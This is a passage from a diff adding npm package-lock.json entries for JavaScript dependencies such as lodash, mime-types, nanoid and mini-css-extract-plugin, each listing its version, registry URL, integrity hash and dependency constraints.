}, + "node_modules/listr2/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/listr2/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/listr2/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/listr2/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/listr2/node_modules/slice-ansi": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-3.0.0.tgz", + "integrity": "sha512-pSyv7bSTC7ig9Dcgbw9AuRNUb5k5V6oDudjZoMBSr13qpLBG7tB+zgCkARjq7xIUgdz5P1Qe8u+rSGdouOOIyQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/listr2/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/loader-runner": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.0.tgz", + "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==", + "engines": { + "node": ">=6.11.5" + } + }, + "node_modules/loader-utils": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.4.tgz", + "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==", + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/localforage": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/localforage/-/localforage-1.10.0.tgz", + "integrity": "sha512-14/H1aX7hzBBmmh7sGPd+AOMkkIrHM3Z1PAyGgZigA1H1p5O5ANnMyWzvpAETtG68/dC4pC0ncy3+PPGzXZHPg==", + "dependencies": { + "lie": "3.1.1" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==" + }, + "node_modules/lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==" + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==" + }, + "node_modules/lodash.sortby": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz", + "integrity": "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==" + }, + "node_modules/lodash.uniq": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==" + }, + "node_modules/log-update": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/log-update/-/log-update-4.0.0.tgz", + "integrity": "sha512-9fkkDevMefjg0mmzWFBW8YkFP91OrizzkW3diF7CpG+S2EYdy4+TVfGwz1zeF8x7hCx1ovSPTOE9Ngib74qqUg==", + "dev": true, + "dependencies": { + "ansi-escapes": "^4.3.0", + "cli-cursor": "^3.1.0", + "slice-ansi": "^4.0.0", + "wrap-ansi": "^6.2.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-update/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/log-update/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/log-update/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/log-update/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/log-update/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/log-update/node_modules/slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/log-update/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/log-update/node_modules/wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/lz-string": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz", + "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==", + "dev": true, + "bin": { + "lz-string": "bin/bin.js" + } + }, + "node_modules/magic-string": { + "version": "0.25.9", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz", + "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", + "dependencies": { + "sourcemap-codec": "^1.4.8" + } + }, + "node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/makeerror": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz", + "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==", + "dependencies": { + "tmpl": "1.0.5" + } + }, + "node_modules/mdn-data": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.4.tgz", + "integrity": "sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA==" + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/memfs": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.5.3.tgz", + "integrity": "sha512-UERzLsxzllchadvbPs5aolHh65ISpKpM+ccLbOJ8/vvpBKmAWf+la7dXFy7Mr0ySHbdHrFv5kGFCUHHe6GFEmw==", + "dependencies": { + "fs-monkey": "^1.0.4" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w==" + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/min-indent": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/mini-css-extract-plugin": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.8.0.tgz", + "integrity": "sha512-CxmUYPFcTgET1zImteG/LZOy/4T5rTojesQXkSNBiquhydn78tfbCE9sjIjnJ/UcjNjOC1bphTCCW5rrS7cXAg==", + "dependencies": { + "schema-utils": "^4.0.0", + "tapable": "^2.2.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/mini-css-extract-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/mini-css-extract-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==" + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.0.4.tgz", + "integrity": "sha512-jYofLM5Dam9279rdkWzqHozUo4ybjdZmCsDHePy5V/PbBcVMiSZR97gmAy45aqi8CK1lG2ECd356FU86avfwUQ==", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/multicast-dns": { + "version": "7.2.5", + "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-7.2.5.tgz", + "integrity": "sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==", + "dependencies": { + "dns-packet": "^5.2.2", + "thunky": "^1.0.2" + }, + "bin": { + "multicast-dns": "cli.js" + } + }, + "node_modules/mz": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dependencies": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "node_modules/nanoid": { + "version": "3.3.7", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.7.tgz", + "integrity": "sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==" + }, + "node_modules/natural-compare-lite": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare-lite/-/natural-compare-lite-1.4.0.tgz", + "integrity": "sha512-Tj+HTDSJJKaZnfiuw+iaF9skdPpTo2GtEly5JHnWV/hfv2Qj/9RKsGISQtLh2ox3l5EAGw487hnBee0sIJ6v2g==" + }, + "node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==" + }, + "node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/node-forge": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.3.1.tgz", + "integrity": "sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA==", + "engines": { + "node": ">= 6.13.0" + } + }, + "node_modules/node-int64": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", + "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==" + }, + "node_modules/node-releases": { + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.14.tgz", + "integrity": "sha512-y10wOWt8yZpqXmOgRo77WaHEmhYQYGNA6y421PKsKYWEK8aW+cqAphborZDhqfyKrbZEN92CN1X2KbafY2s7Yw==" + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-range": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", + "integrity": 